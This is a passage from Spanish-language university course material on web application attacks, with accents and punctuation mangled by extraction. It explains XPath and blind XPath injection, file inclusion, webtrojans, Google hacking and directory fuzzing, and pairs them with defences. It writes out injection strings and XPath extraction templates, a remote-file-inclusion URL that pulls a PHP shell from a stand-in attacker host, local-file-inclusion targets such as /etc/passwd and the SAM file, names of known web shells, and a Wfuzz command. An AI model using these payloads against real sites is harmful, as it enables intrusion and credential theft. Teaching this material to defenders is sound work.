En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
